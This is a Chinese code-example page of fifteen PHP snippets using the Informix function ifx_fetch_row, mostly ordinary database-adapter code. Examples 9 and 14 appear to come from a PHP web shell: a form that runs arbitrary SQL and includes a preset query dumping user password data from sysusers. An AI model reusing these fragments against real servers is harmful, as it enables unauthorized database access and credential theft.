本文整理汇总了PHP中ifx_fetch_row函数的典型用法代码示例。如果您正苦于以下问题:PHP ifx_fetch_row函数的具体用法?PHP ifx_fetch_row怎么用?PHP ifx_fetch_row使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了ifx_fetch_row函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: informixAdapter
/**
* Constructor method for the adapter. This constructor implements the setting of the
* 3 required properties for the object.
*
* @param resource $d The datasource resource
*/
function informixAdapter($d)
{
parent::RecordSetAdapter($d);
$ob = "";
$fieldcount = ifx_num_fields($d);
$be = $this->isBigEndian;
$fc = pack('N', $fieldcount);
if (ifx_num_rows($d) > 0) {
$line = ifx_fetch_row($d, "FIRST");
do {
//Write inner inner (data) array
$ob .= "\n" . $fc;
foreach ($line as $key => $value) {
if (is_string($value)) {
// string
$os = $this->_directCharsetHandler->transliterate($value);
$len = strlen($os);
if ($len < 65536) {
$ob .= "" . pack('n', $len) . $os;
} else {
$ob .= "\f" . pack('N', $len) . $os;
}
} elseif (is_float($value) || is_int($value)) {
//numberic
$b = pack('d', $value);
// pack the bytes
if ($be) {
// if we are a big-endian processor
$r = strrev($b);
} else {
// add the bytes to the output
$r = $b;
}
$ob .= "" . $r;
} elseif (is_bool($value)) {
//bool
$ob .= "" . pack('c', $value);
} elseif (is_null($value)) {
// null
$ob .= "";
}
}
} while ($line = ifx_fetch_row($d, "NEXT"));
}
$this->serializedData = $ob;
$properties = ifx_fieldproperties($d);
for ($i = 0; $i < $fieldcount; $i++) {
$this->columnNames[$i] = $this->_directCharsetHandler->transliterate(key($properties));
next($properties);
}
$this->numRows = ifx_num_rows($d);
}
示例2: informixAdapter
/**
* Constructor method for the adapter. This constructor implements the setting of the
* 3 required properties for the object.
*
* @param resource $d The datasource resource
*/
function informixAdapter($d)
{
parent::RecordSetAdapter($d);
$fieldcount = ifx_num_fields($d);
$properties = ifx_fieldproperties($d);
for ($i = 0; $i < $fieldcount; $i++) {
$this->columns[$i] = key($properties);
next($properties);
}
if (ifx_num_rows($d) > 0) {
$line = ifx_fetch_row($d, "FIRST");
do {
$this->rows[] = $line;
} while ($line = ifx_fetch_row($d, "NEXT"));
}
}
示例3: _fetch
function _fetch($ignore_fields = false)
{
$this->fields = @ifx_fetch_row($this->_queryID);
if (!is_array($this->fields)) {
return false;
}
if ($this->fetchMode == ADODB_FETCH_NUM) {
foreach ($this->fields as $v) {
$arr[] = $v;
}
$this->fields = $arr;
}
return true;
}
示例4: data_seek
/**
* Se Mueve al resultado indicado por $number en un select
* Hay problemas con este metodo hay problemas con curesores IFX_SCROLL
*
* @param int $number
* @param resource $result_query
* @return boolean
*/
public function data_seek($number, $result_query = '')
{
if (!$result_query) {
$result_query = $this->last_result_query;
if (!$result_query) {
return false;
}
}
if (($success = ifx_fetch_row($result_query, $number)) !== false) {
return $success;
} else {
throw new KumbiaException($this->error());
}
return false;
}
示例5: insert
//.........这里部分代码省略.........
if (PEAR::isError($value)) {
$this->raiseError($value->toString(), DB_DATAOBJECT_ERROR_INVALIDARGS);
return false;
}
$rightq .= $value;
continue;
}
if (!($v & DB_DATAOBJECT_NOTNULL) && DB_DataObject::_is_null($this, $k)) {
$rightq .= " NULL ";
continue;
}
// DATE is empty... on a col. that can be null..
// note: this may be usefull for time as well..
if (!$this->{$k} && ($v & DB_DATAOBJECT_DATE || $v & DB_DATAOBJECT_TIME) && !($v & DB_DATAOBJECT_NOTNULL)) {
$rightq .= " NULL ";
continue;
}
if ($v & DB_DATAOBJECT_STR) {
$rightq .= $this->_quote((string) ($v & DB_DATAOBJECT_BOOL ? $this->{$k} === 'f' ? 0 : (int) (bool) $this->{$k} : $this->{$k})) . " ";
continue;
}
if (is_numeric($this->{$k})) {
$rightq .= " {$this->{$k}} ";
continue;
}
/* flag up string values - only at debug level... !!!??? */
if (is_object($this->{$k}) || is_array($this->{$k})) {
$this->debug('ODD DATA: ' . $k . ' ' . print_r($this->{$k}, true), 'ERROR');
}
// at present we only cast to integers
// - V2 may store additional data about float/int
$rightq .= ' ' . intval($this->{$k}) . ' ';
}
// not sure why we let empty insert here.. - I guess to generate a blank row..
if ($leftq || $useNative) {
$table = $quoteIdentifiers ? $DB->quoteIdentifier($this->__table) : $this->__table;
if ($dbtype == 'pgsql' && empty($leftq)) {
$r = $this->_query("INSERT INTO {$table} DEFAULT VALUES");
} else {
$r = $this->_query("INSERT INTO {$table} ({$leftq}) VALUES ({$rightq}) ");
}
if (PEAR::isError($r)) {
$this->raiseError($r);
return false;
}
if ($r < 1) {
return 0;
}
// now do we have an integer key!
if ($key && $useNative) {
switch ($dbtype) {
case 'mysql':
case 'mysqli':
$method = "{$dbtype}_insert_id";
$this->{$key} = $method($_DB_DATAOBJECT['CONNECTIONS'][$this->_database_dsn_md5]->connection);
break;
case 'mssql':
// note this is not really thread safe - you should wrapp it with
// transactions = eg.
// $db->query('BEGIN');
// $db->insert();
// $db->query('COMMIT');
$db_driver = empty($options['db_driver']) ? 'DB' : $options['db_driver'];
$method = $db_driver == 'DB' ? 'getOne' : 'queryOne';
$mssql_key = $DB->{$method}("SELECT @@IDENTITY");
if (PEAR::isError($mssql_key)) {
$this->raiseError($mssql_key);
return false;
}
$this->{$key} = $mssql_key;
break;
case 'pgsql':
if (!$seq) {
$seq = $DB->getSequenceName(strtolower($this->__table));
}
$db_driver = empty($options['db_driver']) ? 'DB' : $options['db_driver'];
$method = $db_driver == 'DB' ? 'getOne' : 'queryOne';
$pgsql_key = $DB->{$method}("SELECT currval('" . $seq . "')");
if (PEAR::isError($pgsql_key)) {
$this->raiseError($pgsql_key);
return false;
}
$this->{$key} = $pgsql_key;
break;
case 'ifx':
$this->{$key} = array_shift(ifx_fetch_row(ifx_query("select DBINFO('sqlca.sqlerrd1') FROM systables where tabid=1", $_DB_DATAOBJECT['CONNECTIONS'][$this->_database_dsn_md5]->connection, IFX_SCROLL), "FIRST"));
break;
}
}
if (isset($_DB_DATAOBJECT['CACHE'][strtolower(get_class($this))])) {
$this->_clear_cache();
}
if ($key) {
return $this->{$key};
}
return true;
}
$this->raiseError("insert: No Data specifed for query", DB_DATAOBJECT_ERROR_NODATA);
return false;
}
示例6: fetchInto
/**
* Fetch a row and return as array.
*
* @param $result Informix result identifier
* @param $row (reference) array where data from the row is stored
* @param $fetchmode how the resulting array should be indexed
* @param $rownum the row number to fetch
*
* @return int an array on success, a DB error code on failure, NULL
* if there is no more data
*/
function fetchInto($result, &$row, $fetchmode, $rownum=null)
{
if (($rownum !== null) && ($rownum < 0)) {
return null;
}
// if $rownum is null, fetch row will return the next row
if (!$row = @ifx_fetch_row($result, $rownum)) {
return null;
}
if ($fetchmode !== DB_FETCHMODE_ASSOC) {
$i=0;
$order = array();
foreach ($row as $key => $val) {
$order[$i++] = $val;
}
$row = $order;
}
return DB_OK;
}
示例7: fetchInto
/**
* Places a row from the result set into the given array
*
* Formating of the array and the data therein are configurable.
* See DB_result::fetchInto() for more information.
*
* This method is not meant to be called directly. Use
* DB_result::fetchInto() instead. It can't be declared "protected"
* because DB_result is a separate object.
*
* @param resource $result the query result resource
* @param array $arr the referenced array to put the data in
* @param int $fetchmode how the resulting array should be indexed
* @param int $rownum the row number to fetch (0 = first row)
*
* @return mixed DB_OK on success, NULL when the end of a result set is
* reached or on failure
*
* @see DB_result::fetchInto()
*/
function fetchInto($result, &$arr, $fetchmode, $rownum = null)
{
if ($rownum !== null && $rownum < 0) {
return null;
}
if ($rownum === null) {
/*
* Even though fetch_row() should return the next row if
* $rownum is null, it doesn't in all cases. Bug 598.
*/
$rownum = 'NEXT';
} else {
// Index starts at row 1, unlike most DBMS's starting at 0.
$rownum++;
}
if (!($arr = @ifx_fetch_row($result, $rownum))) {
return null;
}
if ($fetchmode !== DB_FETCHMODE_ASSOC) {
$i = 0;
$order = array();
foreach ($arr as $val) {
$order[$i++] = $val;
}
$arr = $order;
} elseif ($fetchmode == DB_FETCHMODE_ASSOC && $this->options['portability'] & DB_PORTABILITY_LOWERCASE) {
$arr = array_change_key_case($arr, CASE_LOWER);
}
if ($this->options['portability'] & DB_PORTABILITY_RTRIM) {
$this->_rtrimArrayValues($arr);
}
if ($this->options['portability'] & DB_PORTABILITY_NULL_TO_EMPTY) {
$this->_convertNullArrayValuesToEmpty($arr);
}
return DB_OK;
}
示例8: NumberOfRows
function NumberOfRows($result)
{
$result_value = intval($result);
if (!isset($this->current_row[$result_value])) {
return $this->SetError("Number of rows", "attemped to obtain the number of rows contained in an unknown query result");
}
if (!isset($this->rows[$result_value])) {
if (!$this->GetColumnNames($result)) {
return 0;
}
if (isset($this->limits[$result_value])) {
if (!$this->SkipFirstRows($result)) {
$this->rows[$result_value] = 0;
return 0;
}
$limit = $this->limits[$result_value][1];
} else {
$limit = 0;
}
if ($limit == 0 || $this->current_row[$result_value] + 1 < $limit) {
if (isset($this->row_buffer[$result_value])) {
$this->current_row[$result_value]++;
$this->results[$result_value][$this->current_row[$result_value]] = $this->row_buffer[$result_value];
unset($this->row_buffer[$result_value]);
}
for (; ($limit == 0 || $this->current_row[$result_value] + 1 < $limit) && GetType($this->results[$result_value][$this->current_row[$result_value] + 1] = ifx_fetch_row($result)) == "array"; $this->current_row[$result_value]++) {
}
}
$this->rows[$result_value] = $this->current_row[$result_value] + 1;
}
return $this->rows[$result_value];
}
示例9: otherdb
//.........这里部分代码省略.........
print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($ifxaction == 'ifxquery') {
$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
$ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
$ifxrow = ifx_fetch_row($ifxresult);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
}
echo "</tr>\n";
mysql_data_seek($ifxresult, 0);
while ($ifxrow = ifx_fetch_row($ifxresult)) {
echo "<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td>' . "{$ifxrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
ifx_free_result($ifxresult);
ifx_close();
}
} elseif ($db == "db2") {
$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
$db2action = isset($_POST['action']) ? $_POST['action'] : '';
$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
$db2query = stripslashes($db2query);
print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
示例10: ifx_free_result
}
}
//fin while
ifx_free_result($g_idq);
} else {
if ($_SESSION['control_campos_co'] == 7) {
// ubicación
$bloqueo = "set isolation to dirty read";
p_query($bloqueo);
$vector_v_direcciones = array();
$pos_vec_direcciones = 0;
$sql = "SELECT g.t_direccion FROM v_direccion g " . $c_direccion2_vetor_dir;
p_query($sql);
$num = ifx_affected_rows($g_idq);
$filas = 0;
while ($registro = ifx_fetch_row($g_idq)) {
$filas++;
if ($filas == 1) {
$vector_v_direcciones[$pos_vec_direcciones][1] = $registro['t_direccion'];
$depurado = $registro['t_direccion'];
//echo "correcto-". $correcto=trim($depurado," ","\t","\n","\r","\0","\x0B","-",".","º","!","$","%","&","/","(",")","=","?","¿");
$correcto = str_replace("\t", " ", $depurado);
$correcto = str_replace("\n", " ", $correcto);
$correcto = str_replace("\r", " ", $correcto);
$correcto = str_replace("", " ", $correcto);
$correcto = str_replace("\v", " ", $correcto);
$correcto = str_replace("-", " ", $correcto);
$correcto = str_replace(".", " ", $correcto);
$correcto = str_replace("º", " ", $correcto);
$correcto = str_replace("!", " ", $correcto);
$correcto = str_replace("\$", " ", $correcto);
示例11: setDbLoop
/**
* FUNCTION: setDbLoop [** EXPERIMENTAL **]
*
* Function to create a loop from a Db result resource link.
*
* @param string $loopname to commit loop. If not set, will use last loopname set using newLoop()
* @param string $result link to a Db result resource
* @param string $db_type, type of db that the result resource belongs to.
* @return boolean true/false
* @access public
*/
function setDbLoop($loopname, $result, $db_type = 'MYSQL')
{
$db_type = strtoupper($db_type);
if (!in_array($db_type, $this->allowed_loop_dbs)) {
vlibTemplateError::raiseError('VT_WARNING_INVALID_LOOP_DB', WARNING, $db_type);
return false;
}
$loop_arr = array();
switch ($db_type) {
case 'MYSQL':
if (get_resource_type($result) != 'mysql result') {
vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
return false;
}
while ($r = mysql_fetch_assoc($result)) {
$loop_arr[] = $r;
}
break;
case 'POSTGRESQL':
if (get_resource_type($result) != 'pgsql result') {
vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
return false;
}
$nr = function_exists('pg_num_rows') ? pg_num_rows($result) : pg_numrows($result);
for ($i = 0; $i < $nr; $i++) {
$loop_arr[] = pg_fetch_array($result, $i, PGSQL_ASSOC);
}
break;
case 'INFORMIX':
if (!$result) {
vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
return false;
}
while ($r = ifx_fetch_row($result, 'NEXT')) {
$loop_arr[] = $r;
}
break;
case 'INTERBASE':
if (get_resource_type($result) != 'interbase result') {
vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
return false;
}
while ($r = ibase_fetch_row($result)) {
$loop_arr[] = $r;
}
break;
case 'INGRES':
if (!$result) {
vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
return false;
}
while ($r = ingres_fetch_array(INGRES_ASSOC, $result)) {
$loop_arr[] = $r;
}
break;
case 'MSSQL':
if (get_resource_type($result) != 'mssql result') {
vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
return false;
}
while ($r = mssql_fetch_array($result)) {
$loop_arr[] = $r;
}
break;
case 'MSQL':
if (get_resource_type($result) != 'msql result') {
vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
return false;
}
while ($r = msql_fetch_array($result, MSQL_ASSOC)) {
$loop_arr[] = $r;
}
break;
case 'OCI8':
if (get_resource_type($result) != 'oci8 statement') {
vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
return false;
}
while (OCIFetchInto($result, $r, OCI_ASSOC + OCI_RETURN_LOBS)) {
$loop_arr[] = $r;
}
break;
case 'ORACLE':
if (get_resource_type($result) != 'oracle Cursor') {
vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
return false;
}
while (ora_fetch_into($result, $r, ORA_FETCHINTO_ASSOC)) {
$loop_arr[] = $r;
//.........这里部分代码省略.........
示例12: db_fetch
function db_fetch($oStmt)
{
return @ifx_fetch_row($oStmt);
}
示例13: field_name
/**
* Get the name of the specified field in a result
* @param Mixed qHanle The query handle
* @param Number offset
* @return String
*/
public function field_name($qHanle, $offset)
{
$count = 1;
foreach (ifx_fetch_row($qHanle) as $fname => $val) {
if ($count == $offset) {
return $fname;
}
$count += $count;
// ?
}
return "";
}
示例14: otherdb
//.........这里部分代码省略.........
print <<<END
<form method="POST" name="ifxform" action="?s=w&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br>
<script language="javascript">
function ifxFull(i){
\tStr = new Array(11);
Str[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
Str[2] = "select name from sysdatabases;";
Str[3] = "select tabname from systables;";
Str[4] = "select colname from syscolumns where tabid=n;";
Str[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
<option value="1">dbservername</option>
<option value="1">databases</option>
<option value="2">tables</option>
<option value="3">columns</option>
<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($ifxaction == 'ifxquery') {
$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
$ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
$ifxrow = ifx_fetch_row($ifxresult);
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult);
echo "</b></td>\n";
}
echo "</tr>\n";
mysql_data_seek($ifxresult, 0);
while ($ifxrow = ifx_fetch_row($ifxresult)) {
echo "<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td bgcolor="#B8B8E8">';
echo "{$ifxrow[$i]}";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
ifx_free_result($ifxresult);
ifx_close();
}
} elseif ($db == "db2") {
$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
$db2action = isset($_POST['action']) ? $_POST['action'] : '';
$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
$db2query = stripslashes($db2query);
示例15: _fetch
function _fetch($ignore_fields = false)
{
$this->fields = ifx_fetch_row($this->_queryID);
#$this->fields = ifx_fetch_row($this->_queryID);
return $this->fields == true;
}